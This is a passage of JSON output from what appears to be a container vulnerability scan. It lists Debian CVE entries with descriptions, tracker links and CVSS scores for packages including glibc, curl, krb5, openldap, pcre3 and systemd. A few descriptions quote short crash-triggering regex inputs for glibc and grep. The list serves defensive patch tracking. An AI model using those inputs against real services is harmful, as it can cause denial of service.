chown-core.c in chown and chgrp does not prevent replacement of a plain file with a symlink during use of the POSIX \"-R -L\" options, which allows local users to modify the ownership of arbitrary files by leveraging a race condition.", "uri": "https://security-tracker.debian.org/tracker/CVE-2017-18018", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "8.30-3"}, {"key": "package_name", "value": "coreutils"}, {"key": "CVSS2_VECTOR", "value": "AV:L/AC:M/Au:N/C:N/I:P/A:N"}, {"key": "CVSS2_SCORE", "value": "1.9"}]}, {"name": "CVE-2021-22923", "description": "When curl is instructed to get content using the metalink feature, and a user name and password are used to download the metalink XML file, those same credentials are then subsequently passed on to each of the servers from which curl will download or try to download the contents from. Often contrary to the user''s expectations and intentions and without telling the user it happened.", "uri": "https://security-tracker.debian.org/tracker/CVE-2021-22923", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "7.64.0-4+deb10u2"}, {"key": "package_name", "value": "curl"}]}, {"name": "CVE-2021-22922", "description": "When curl is instructed to download content using the metalink feature, thecontents is verified against a hash provided in the metalink XML file.The metalink XML file points out to the client how to get the same contentfrom a set of different URLs, potentially hosted by different servers and theclient can then download the file from one or several of them. In a serial orparallel manner.If one of the servers hosting the contents has been breached and the contentsof the specific file on that server is replaced with a modified payload, curlshould detect this when the hash of the file mismatches after a completeddownload. It should remove the contents and instead try getting the contentsfrom another URL. This is not done, and instead such a hash mismatch is onlymentioned in text and the potentially malicious content is kept in the file ondisk.", "uri": "https://security-tracker.debian.org/tracker/CVE-2021-22922", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "7.64.0-4+deb10u2"}, {"key": "package_name", "value": "curl"}]}, {"name": "CVE-2013-0340", "description": "expat 2.1.0 and earlier does not properly handle entities expansion unless an application developer uses the XML_SetEntityDeclHandler function, which allows remote attackers to cause a denial of service (resource consumption), send HTTP requests to intranet servers, or read arbitrary files via a crafted XML document, aka an XML External Entity (XXE) issue. NOTE: it could be argued that because expat already provides the ability to disable external entity expansion, the responsibility for resolving this issue lies with application developers; according to this argument, this entry should be REJECTed, and each affected application would need its own CVE.", "uri": "https://security-tracker.debian.org/tracker/CVE-2013-0340", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "2.2.6-2+deb10u1"}, {"key": "package_name", "value": "expat"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}, {"key": "CVSS2_SCORE", "value": "6.8"}]}, {"name": "CVE-2019-1010023", "description": "** DISPUTED ** GNU Libc current is affected by: Re-mapping current loaded library with malicious ELF file. The impact is: In worst case attacker may evaluate privileges. The component is: libld. The attack vector is: Attacker sends 2 ELF files to victim and asks to run ldd on it. ldd execute code. NOTE: Upstream comments indicate \"this is being treated as a non-security bug and no real threat.\"", "uri": "https://security-tracker.debian.org/tracker/CVE-2019-1010023", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "2.28-10"}, {"key": "package_name", "value": "glibc"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}, {"key": "CVSS2_SCORE", "value": "6.8"}]}, {"name": "CVE-2010-4051", "description": "The regcomp implementation in the GNU C Library (aka glibc or libc6) through 2.11.3, and 2.12.x through 2.12.2, allows context-dependent attackers to cause a denial of service (application crash) via a regular expression containing adjacent bounded repetitions that bypass - the intended RE_DUP_MAX limitation, as demonstrated by a {10,}{10,}{10,}{10,}{10,} sequence in the proftpd.gnu.c exploit for ProFTPD, related to a \"RE_DUP_MAX overflow.\"", "uri": "https://security-tracker.debian.org/tracker/CVE-2010-4051", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "2.28-10"}, {"key": "package_name", "value": "glibc"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:L/Au:N/C:N/I:N/A:P"}, {"key": "CVSS2_SCORE", "value": "5"}]}, {"name": "CVE-2019-1010022", "description": "** DISPUTED ** GNU Libc current is affected by: Mitigation bypass. The impact is: Attacker may bypass stack guard protection. The component is: nptl. The attack vector is: Exploit stack buffer overflow vulnerability and use this bypass vulnerability to bypass stack guard. NOTE: Upstream comments indicate \"this is being treated as a non-security bug and no real threat.\"", "uri": "https://security-tracker.debian.org/tracker/CVE-2019-1010022", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "2.28-10"}, {"key": "package_name", "value": "glibc"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, {"key": "CVSS2_SCORE", "value": "7.5"}]}, {"name": "CVE-2010-4052", "description": "Stack consumption vulnerability in the regcomp implementation in the GNU C Library (aka glibc or libc6) through 2.11.3, and 2.12.x through 2.12.2, allows context-dependent attackers to cause a denial of service (resource exhaustion) via a regular expression containing adjacent repetition operators, as demonstrated by a {10,}{10,}{10,}{10,} sequence in the proftpd.gnu.c exploit for ProFTPD.", "uri": "https://security-tracker.debian.org/tracker/CVE-2010-4052", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "2.28-10"}, {"key": "package_name", "value": "glibc"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:L/Au:N/C:N/I:N/A:P"}, {"key": "CVSS2_SCORE", "value": "5"}]}, {"name": "CVE-2019-1010024", "description": "** DISPUTED ** GNU Libc current is affected by: Mitigation bypass. The impact is: Attacker may bypass ASLR using cache of thread stack and heap. The component is: glibc. NOTE: Upstream comments indicate \"this is being treated as a non-security bug and no real threat.\"", "uri": "https://security-tracker.debian.org/tracker/CVE-2019-1010024", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "2.28-10"}, {"key": "package_name", "value": "glibc"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:L/Au:N/C:P/I:N/A:N"}, {"key": "CVSS2_SCORE", "value": "5"}]}, {"name": "CVE-2010-4756", "description": "The glob implementation in the GNU C Library (aka glibc or libc6) allows remote authenticated users to cause a denial of service (CPU and memory consumption) via crafted glob expressions that do not match any pathnames, as demonstrated by glob expressions in STAT commands to an FTP daemon, a different vulnerability than CVE-2010-2632.", "uri": "https://security-tracker.debian.org/tracker/CVE-2010-4756", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "2.28-10"}, {"key": "package_name", "value": "glibc"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:L/Au:S/C:N/I:N/A:P"}, {"key": "CVSS2_SCORE", "value": "4"}]}, {"name": "CVE-2019-1010025", "description": "** DISPUTED ** GNU Libc current is affected by: Mitigation bypass. The impact is: Attacker may guess the heap addresses of pthread_created thread. The component is: glibc. NOTE: the vendor''s position is \"ASLR bypass itself is not a vulnerability.\"", "uri": "https://security-tracker.debian.org/tracker/CVE-2019-1010025", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "2.28-10"}, {"key": "package_name", "value": "glibc"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:L/Au:N/C:P/I:N/A:N"}, {"key": "CVSS2_SCORE", "value": "5"}]}, {"name": "CVE-2018-20796", "description": "In the GNU C Library (aka glibc or libc6) through 2.29, check_dst_limits_calc_pos_1 in posix/regexec.c has Uncontrolled Recursion, as demonstrated by ''(\\227|)(\\\\1\\\\1|t1|\\\\\\2537)+'' in grep.", "uri": "https://security-tracker.debian.org/tracker/CVE-2018-20796", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "2.28-10"}, {"key": "package_name", "value": "glibc"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:L/Au:N/C:N/I:N/A:P"}, {"key": "CVSS2_SCORE", "value": "5"}]}, {"name": "CVE-2019-9192", "description": "** DISPUTED ** In the GNU C Library (aka glibc or libc6) through 2.29, check_dst_limits_calc_pos_1 in posix/regexec.c has Uncontrolled Recursion, as demonstrated by ''(|)(\\\\1\\\\1)*'' in grep, a different issue than CVE-2018-20796. NOTE: the software maintainer disputes that this is a vulnerability because the behavior occurs only with a crafted pattern.", "uri": "https://security-tracker.debian.org/tracker/CVE-2019-9192", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "2.28-10"}, {"key": "package_name", "value": "glibc"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:L/Au:N/C:N/I:N/A:P"}, {"key": "CVSS2_SCORE", "value": "5"}]}, {"name": "CVE-2011-3389", "description": "The SSL protocol, as used in certain configurations in Microsoft Windows and Microsoft Internet Explorer, Mozilla Firefox, Google Chrome, Opera, and other products, encrypts data by using CBC mode with chained initialization vectors, which allows man-in-the-middle attackers to obtain plaintext HTTP headers via a blockwise chosen-boundary attack (BCBA) on an HTTPS session, in conjunction with JavaScript code that uses (1) the HTML5 WebSocket API, (2) the Java URLConnection API, or (3) the Silverlight WebClient API, aka a \"BEAST\" attack.", "uri": "https://security-tracker.debian.org/tracker/CVE-2011-3389", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "3.6.7-4+deb10u7"}, {"key": "package_name", "value": "gnutls28"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:M/Au:N/C:P/I:N/A:N"}, {"key": "CVSS2_SCORE", "value": "4.3"}]}, {"name": "CVE-2021-30535", "description": "Double free in ICU in Google Chrome prior to 91.0.4472.77 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page.", "uri": "https://security-tracker.debian.org/tracker/CVE-2021-30535", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "63.1-6+deb10u1"}, {"key": "package_name", "value": "icu"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}, {"key": "CVSS2_SCORE", "value": "6.8"}]}, {"name": "CVE-2017-9937", "description": "In LibTIFF 4.0.8, there is a memory malloc failure in tif_jbig.c. A crafted TIFF document can lead to an abort resulting in a remote denial of service attack.", "uri": "https://security-tracker.debian.org/tracker/CVE-2017-9937", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "2.1-3.1"}, {"key": "package_name", "value": "jbigkit"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:M/Au:N/C:N/I:N/A:P"}, {"key": "CVSS2_SCORE", "value": "4.3"}]}, {"name": "CVE-2018-5709", "description": "An issue was discovered in MIT Kerberos 5 (aka krb5) through 1.16. There is a variable \"dbentry->n_key_data\" in kadmin/dbutil/dump.c that can store 16-bit data but unknowingly the developer has assigned a \"u4\" variable to it, which is for 32-bit data. An attacker can use this vulnerability to affect other artifacts of the database as we know that a Kerberos database dump file contains trusted data.", "uri": "https://security-tracker.debian.org/tracker/CVE-2018-5709", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "1.17-3+deb10u1"}, {"key": "package_name", "value": "krb5"}, {"key" : "CVSS2_VECTOR", "value": "AV:N/AC:L/Au:N/C:N/I:P/A:N"}, {"key": "CVSS2_SCORE", "value": "5"}]}, {"name": "CVE-2021-36222", "description": "ec_verify in kdc/kdc_preauth_ec.c in the Key Distribution Center (KDC) in MIT Kerberos 5 (aka krb5) before 1.18.4 and 1.19.x before 1.19.2 allows remote attackers to cause a NULL pointer dereference and daemon crash. This occurs because a return value is not properly managed in a certain situation.", "uri": "https://security-tracker.debian.org/tracker/CVE-2021-36222", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "1.17-3+deb10u1"}, {"key": "package_name", "value": "krb5"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:L/Au:N/C:N/I:N/A:P"}, {"key": "CVSS2_SCORE", "value": "5"}]}, {"name": "CVE-2004-0971", "description": "The krb5-send-pr script in the kerberos5 (krb5) package in Trustix Secure Linux 1.5 through 2.1, and possibly other operating systems, allows local users to overwrite files via a symlink attack on temporary files.", "uri": "https://security-tracker.debian.org/tracker/CVE-2004-0971", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "1.17-3+deb10u1"}, {"key": "package_name", "value": "krb5"}, {"key": "CVSS2_VECTOR", "value": "AV:L/AC:L/Au:N/C:N/I:P/A:N"}, {"key": "CVSS2_SCORE", "value": "2.1"}]}, {"name": "CVE-2018-6829", "description": "cipher/elgamal.c in Libgcrypt through 1.8.2, when used to encrypt messages directly, improperly encodes plaintexts, which allows attackers to obtain sensitive information by reading ciphertext data (i.e., it does not have semantic security in face of a ciphertext-only attack). The Decisional Diffie-Hellman (DDH) assumption does not hold for Libgcrypt''s ElGamal implementation.", "uri": "https://security-tracker.debian.org/tracker/CVE-2018-6829", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "1.8.4-5+deb10u1"}, {"key": "package_name", "value": "libgcrypt20"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:L/Au:N/C:P/I:N/A:N"}, {"key": "CVSS2_SCORE", "value": "5"}]}, {"name": "CVE-2018-11813", "description": "libjpeg 9c has a large loop because read_pixel in rdtarga.c mishandles EOF.", "uri": "https://security-tracker.debian.org/tracker/CVE-2018-11813", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "1:1.5.2-2+deb10u1"}, {"key": "package_name", "value": "libjpeg-turbo"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:L/Au:N/C:N/I:N/A:P"}, {"key": "CVSS2_SCORE", "value": "5"}]}, {"name": "CVE-2020-17541", "description": "Libjpeg-turbo all version have a stack-based buffer overflow in the \"transform\" component. A remote attacker can send a malformed jpeg file to the service and cause arbitrary code execution or denial of service of the target service.", "uri": "https://security-tracker.debian.org/tracker/CVE-2020-17541", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "1:1.5.2-2+deb10u1"}, {"key": "package_name", "value": "libjpeg-turbo"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}, {"key": "CVSS2_SCORE", "value": "6.8"}]}, {"name": "CVE-2017-15232", "description": "libjpeg-turbo 1.5.2 has a NULL Pointer Dereference in jdpostct.c and jquant1.c via a crafted JPEG file.", "uri": "https://security-tracker.debian.org/tracker/CVE-2017-15232", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "1:1.5.2-2+deb10u1"}, {"key": "package_name", "value": "libjpeg-turbo"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:M/Au:N/C:N/I:N/A:P"}, {"key": "CVSS2_SCORE", "value": "4.3"}]}, {"name": "CVE-2018-14048", "description": "An issue has been found in libpng 1.6.34. It is a SEGV in the function png_free_data in png.c, related to the recommended error handling for png_read_image.", "uri": "https://security-tracker.debian.org/tracker/CVE-2018-14048", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "1.6.36-6"}, {"key": "package_name", "value": "libpng1.6"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:M/Au:N/C:N/I:N/A:P"}, {"key": "CVSS2_SCORE", "value": "4.3"}]}, {"name": "CVE-2019-6129", "description": "** DISPUTED ** png_create_info_struct in png.c in libpng 1.6.36 has a memory leak, as demonstrated by pngcp. NOTE: a third party has stated \"I don''t think it is libpng''s job to free this buffer.\"", "uri": "https://security-tracker.debian.org/tracker/CVE-2019-6129", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "1.6.36-6"}, {"key": "package_name", "value": "libpng1.6"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:M/Au:N/C:N/I:N/A:P"}, {"key": "CVSS2_SCORE", "value": "4.3"}]}, {"name": "CVE-2018-14550", "description": "An issue has been found in third-party PNM decoding associated with libpng 1.6.35. It is a stack-based buffer overflow in the function get_token in pnm2png.c in pnm2png.", "uri": "https://security-tracker.debian.org/tracker/CVE-2018-14550", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "1.6.36-6"}, {"key": "package_name", "value": "libpng1.6"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}, {"key": "CVSS2_SCORE", "value": "6.8"}]}, {"name": "CVE-2019-9893", "description": "libseccomp before 2.4.0 did not correctly generate 64-bit syscall argument comparisons using the arithmetic operators (LT, GT, LE, GE), which might able to lead to bypassing seccomp filters and potential privilege escalations.", "uri": "https://security-tracker.debian.org/tracker/CVE-2019-9893", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "2.3.3-4"}, {"key": "package_name", "value": "libseccomp"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, {"key": "CVSS2_SCORE", "value": "7.5"}]}, {"name": "CVE-2018-1000654", "description": "GNU Libtasn1-4.13 libtasn1-4.13 version libtasn1-4.13, libtasn1-4.12 contains a DoS, specifically CPU usage will reach 100% when running asn1Paser against the POC due to an issue in _asn1_expand_object_id(p_tree), after a long time, the program will be killed. This attack appears to be exploitable via parsing a crafted file.", "uri": "https://security-tracker.debian.org/tracker/CVE-2018-1000654", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "4.13-3"}, {"key": "package_name", "value": "libtasn1-6"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:M/Au:N/C:N/I:N/A:C"}, {"key": "CVSS2_SCORE", "value": "7.1"}]}, {"name": "CVE-2016-9085", "description": "Multiple integer overflows in libwebp allows attackers to have unspecified impact via unknown vectors.", "uri": "https://security-tracker.debian.org/tracker/CVE-2016-9085", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "0.6.1-2+deb10u1"}, {"key": "package_name", "value": "libwebp"}, {"key": "CVSS2_VECTOR", "value": "AV:L/AC:L/Au:N/C:N/I:N/A:P"}, {"key": "CVSS2_SCORE", "value": "2.1"}]}, {"name": "CVE-2015-9019", "description": "In libxslt 1.1.29 and earlier, the EXSLT math.random function was not initialized with a random seed during startup, which could cause usage of this function to produce predictable outputs.", "uri": "https://security-tracker.debian.org/tracker/CVE-2015-9019", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "1.1.32-2.2~deb10u1"}, {"key": "package_name", "value": "libxslt"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:L/Au:N/C:P/I:N/A:N"}, {"key": "CVSS2_SCORE", "value": "5"}]}, {"name": "CVE-2009-4487" , "description": "nginx 0.7.64 writes data to a log file without sanitizing non-printable characters, which might allow remote attackers to modify a window''s title, or possibly execute arbitrary commands or overwrite files, via an HTTP request containing an escape sequence for a terminal emulator.", "uri": "https://security-tracker.debian.org/tracker/CVE-2009-4487", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "1.21.1-1~buster"}, {"key": "package_name", "value": "nginx"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}, {"key": "CVSS2_SCORE", "value": "6.8"}]}, {"name": "CVE-2020-15719", "description": "libldap in certain third-party OpenLDAP packages has a certificate-validation flaw when the third-party package is asserting RFC6125 support. It considers CN even when there is a non-matching subjectAltName (SAN). This is fixed in, for example, openldap-2.4.46-10.el8 in Red Hat Enterprise Linux.", "uri": "https://security-tracker.debian.org/tracker/CVE-2020-15719", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "2.4.47+dfsg-3+deb10u6"}, {"key": "package_name", "value": "openldap"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:H/Au:N/C:P/I:P/A:N"}, {"key": "CVSS2_SCORE", "value": "4"}]}, {"name": "CVE-2015-3276" , "description": "The nss_parse_ciphers function in libraries/libldap/tls_m.c in OpenLDAP does not properly parse OpenSSL-style multi-keyword mode cipher strings, which might cause a weaker than intended cipher to be used and allow remote attackers to have unspecified impact via unknown vectors.", "uri": "https://security-tracker.debian.org/tracker/CVE-2015-3276", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "2.4.47+dfsg-3+deb10u6"}, {"key": "package_name", "value": "openldap"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:L/Au:N/C:N/I:P/A:N"}, {"key": "CVSS2_SCORE", "value": "5"}]}, {"name": "CVE-2017-14159", "description": "slapd in OpenLDAP 2.4.45 and earlier creates a PID file after dropping privileges to a non-root account, which might allow local users to kill arbitrary processes by leveraging access to this non-root account for PID file modification before a root script executes a \"kill `cat /pathname`\" command, as demonstrated by openldap-initscript.", "uri": "https://security-tracker.debian.org/tracker/CVE-2017-14159", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "2.4.47+dfsg-3+deb10u6"}, {"key": "package_name", "value": "openldap"}, {"key": "CVSS2_VECTOR", "value": "AV:L/AC:M/Au:N/C:N/I:N/A:P"}, {"key": "CVSS2_SCORE", "value": "1.9"}]}, {"name": "CVE-2017-17740", "description": "contrib/slapd-modules/nops/nops.c in OpenLDAP through 2.4.45, when both the nops module and the memberof overlay are enabled, attempts to free a buffer that was allocated on the stack, which allows remote attackers to cause a denial of service (slapd crash) via a member MODDN operation.", "uri": "https://security-tracker.debian.org/tracker/CVE-2017-17740", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "2.4.47+dfsg-3+deb10u6"}, {"key": "package_name", "value": "openldap"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:L/Au:N/C:N/I:N/A:P"}, {"key": "CVSS2_SCORE", "value": "5"}]}, {"name": "CVE-2010-0928" , "description": "OpenSSL 0.9.8i on the Gaisler Research LEON3 SoC on the Xilinx Virtex-II Pro FPGA uses a Fixed Width Exponentiation (FWE) algorithm for certain signature calculations, and does not verify the signature before providing it to a caller, which makes it easier for physically proximate attackers to determine the private key via a modified supply voltage for the microprocessor, related to a \"fault-based attack.\"", "uri": "https://security-tracker.debian.org/tracker/CVE-2010-0928", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "1.1.1d-0+deb10u6"}, {"key": "package_name", "value": "openssl"}, {"key": "CVSS2_VECTOR", "value": "AV:L/AC:H/Au:N/C:C/I:N/A:N"}, {"key": "CVSS2_SCORE", "value": "4"}]}, {"name": "CVE-2007-6755", "description": "The NIST SP 800-90A default statement of the Dual Elliptic Curve Deterministic Random Bit Generation (Dual_EC_DRBG) algorithm contains point Q constants with a possible relationship to certain \"skeleton key\" values, which might allow context-dependent attackers to defeat cryptographic protection mechanisms by leveraging knowledge of those values. NOTE: this is a preliminary CVE for Dual_EC_DRBG; future research may provide additional details about point Q and associated attacks, and could potentially lead to a RECAST or REJECT of this CVE.", "uri": "https://security-tracker.debian.org/tracker/CVE-2007-6755", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "1.1.1d-0+deb10u6"}, {"key": "package_name", "value": "openssl"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:M/Au:N/C:P/I:P/A:N"}, {"key": "CVSS2_SCORE", "value": "5.8"}]}, {"name": "CVE-2017-7246", "description": "Stack-based buffer overflow in the pcre32_copy_substring function in pcre_get.c in libpcre1 in PCRE 8.40 allows remote attackers to cause a denial of service (WRITE of size 268) or possibly have unspecified other impact via a crafted file.", "uri": "https://security-tracker.debian.org/tracker/CVE-2017-7246", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "2:8.39-12"}, {"key": "package_name", "value": "pcre3"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}, {"key": "CVSS2_SCORE", "value": "6.8"}]}, {"name": "CVE-2019-20838", "description": "libpcre in PCRE before 8.43 allows a subject buffer over-read in JIT when UTF is disabled, and \\X or \\R has more than one fixed quantifier, a related issue to CVE-2019-20454.", "uri": "https://security-tracker.debian.org/tracker/CVE-2019-20838", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "2:8.39-12"}, {"key": "package_name", "value": "pcre3"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:M/Au:N/C:N/I:N/A:P"}, {"key": "CVSS2_SCORE", "value": "4.3"}]}, {"name": "CVE-2017-7245", "description": "Stack-based buffer overflow in the pcre32_copy_substring function in pcre_get.c in libpcre1 in PCRE 8.40 allows remote attackers to cause a denial of service (WRITE of size 4) or possibly have unspecified other impact via a crafted file.", "uri": "https://security-tracker.debian.org/tracker/CVE-2017-7245", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "2:8.39-12"}, {"key": "package_name", "value": "pcre3"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}, {"key": "CVSS2_SCORE", "value": "6.8"}]}, {"name": "CVE-2017-16231", "description": "** DISPUTED ** In PCRE 8.41, after compiling, a pcretest load test PoC produces a crash overflow in the function match() in pcre_exec.c because of a self-recursive call. NOTE: third parties dispute the relevance of this report, noting that there are options that can be used to limit the amount of stack that is used.", "uri": "https://security-tracker.debian.org/tracker/CVE-2017-16231", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "2:8.39-12"}, {"key": "package_name", "value": "pcre3"}, {"key": "CVSS2_VECTOR", "value": "AV:L/AC:L/Au:N/C:N/I:N/A:P"}, {"key": "CVSS2_SCORE", "value": "2.1"}]}, {"name": "CVE-2017-11164", "description": "In PCRE 8.41, the OP_KETRMAX feature in the match function in pcre_exec.c allows stack exhaustion (uncontrolled recursion) when processing a crafted regular expression.", "uri": "https://security-tracker.debian.org/tracker/CVE-2017-11164", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "2:8.39-12"}, {"key": "package_name", "value": "pcre3"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:L/Au:N/C:N/I:N/A:C"}, {"key": "CVSS2_SCORE", "value": "7.8"}]}, {"name": "CVE-2011-4116", "description": "_is_safe in the File::Temp module for Perl does not properly handle symlinks.", "uri" : "https://security-tracker.debian.org/tracker/CVE-2011-4116", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "5.28.1-6+deb10u1"}, {"key": "package_name", "value": "perl"}, {"key": "CVSS2_VECTOR" , "value": "AV:N/AC:L/Au:N/C:N/I:P/A:N"}, {"key": "CVSS2_SCORE", "value": "5"}]}, {"name": "CVE-2019-19882", "description": "shadow 4.8, in certain circumstances affecting at least Gentoo, Arch Linux, and Void Linux, allows local users to obtain root access because setuid programs are misconfigured. Specifically, this affects shadow 4.8 when compiled using --with-libpam but without explicitly passing --disable-account-tools-setuid, and without a PAM configuration suitable for use with setuid account management tools. This combination leads to account management tools (groupadd, groupdel, groupmod, useradd, userdel, usermod) that can easily be used by unprivileged local users to escalate privileges to root in multiple ways. This issue became much more relevant in approximately December 2019 when an unrelated bug was fixed (i.e., the chmod calls to suidusbins were fixed in the upstream Makefile which is now included in the release version 4.8).", "uri": "https://security-tracker.debian.org/tracker/CVE-2019-19882", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "1:4.5-1.1"}, {"key": "package_name", "value": "shadow"}, {"key": "CVSS2_VECTOR", "value": "AV:L/AC:M/Au:N/C:C/I:C/A:C"}, {"key": "CVSS2_SCORE", "value": "6.9"}]}, {"name": "CVE-2007-5686", "description": "initscripts in rPath Linux 1 sets insecure permissions for the /var/log/btmp file, which allows local users to obtain sensitive information regarding authentication attempts. NOTE: because sshd detects the insecure permissions and does not log certain events, this also prevents sshd from logging failed authentication attempts by remote attackers.", "uri": "https://security-tracker.debian.org/tracker/CVE-2007-5686", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "1:4.5-1.1"}, {"key": "package_name", "value": "shadow"}, {"key": "CVSS2_VECTOR", "value": "AV:L/AC:L/Au:N/C:C/I:N/A:N"}, {"key": "CVSS2_SCORE", "value": "4.9"}]}, {"name": "CVE-2013-4235", "description": "shadow: TOCTOU (time-of-check time-of-use) race condition when copying and removing directory trees", "uri": "https://security-tracker.debian.org/tracker/CVE-2013-4235" , "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "1:4.5-1.1"}, {"key": "package_name", "value": "shadow"}, {"key": "CVSS2_VECTOR", "value": "AV:L/AC:M/Au:N/C:N/I:P/A:P"}, {"key": "CVSS2_SCORE", "value": "3.3"}]}, {"name": "CVE-2020-13529", "description": "An exploitable denial-of-service vulnerability exists in Systemd 245. A specially crafted DHCP FORCERENEW packet can cause a server running the DHCP client to be vulnerable to a DHCP ACK spoofing attack. An attacker can forge a pair of FORCERENEW and DCHP ACK packets to reconfigure the server.", "uri": "https://security-tracker.debian.org/tracker/CVE-2020-13529", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "241-7~deb10u8"}, {"key": "package_name", "value": "systemd"}, {"key": "CVSS2_VECTOR", "value": "AV:A/AC:M/Au:N/C:N/I:N/A:P"}, {"key": "CVSS2_SCORE", "value": "2.9"}]}, {"name": "CVE-2013-4392", "description": "systemd, when updating file permissions, allows local users to change the permissions and SELinux security contexts for arbitrary files via a symlink attack on unspecified files.", "uri": "https://security-tracker.debian.org/tracker/CVE-2013-4392", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "241-7~deb10u8"}, {"key": "package_name", "value": "systemd"}, {"key": "CVSS2_VECTOR", "value": "AV:L/AC:M/Au:N/C:P/I:P/A:N"}, {"key": "CVSS2_SCORE", "value": "3.3"}]}, {"name": "CVE-2020-13776", "description": "systemd through v245 mishandles numerical usernames such as ones composed of decimal digits or 0x followed by hex digits, as demonstrated by use of root privileges when privileges of the 0x0 user account were intended. NOTE: this issue exists because of an incomplete fix for CVE-2017-1000082.", "uri": "https://security-tracker.debian.org/tracker/CVE-2020-13776", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "241-7~deb10u8"}, {"key": "package_name", "value": "systemd"}, {"key": "CVSS2_VECTOR", "value": "AV:L/AC:H/Au:N/C:C/I:C/A:C"}, {"key": "CVSS2_SCORE", "value": "6.2"}]}, {"name": "CVE-2019-20386", "description": "An issue was discovered in button_open in login/logind-button.c in systemd before 243. When executing the udevadm trigger command, a memory leak may occur.", "uri": "https://security-tracker.debian.org/tracker/CVE-2019-20386", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "241-7~deb10u8"}, {"key": 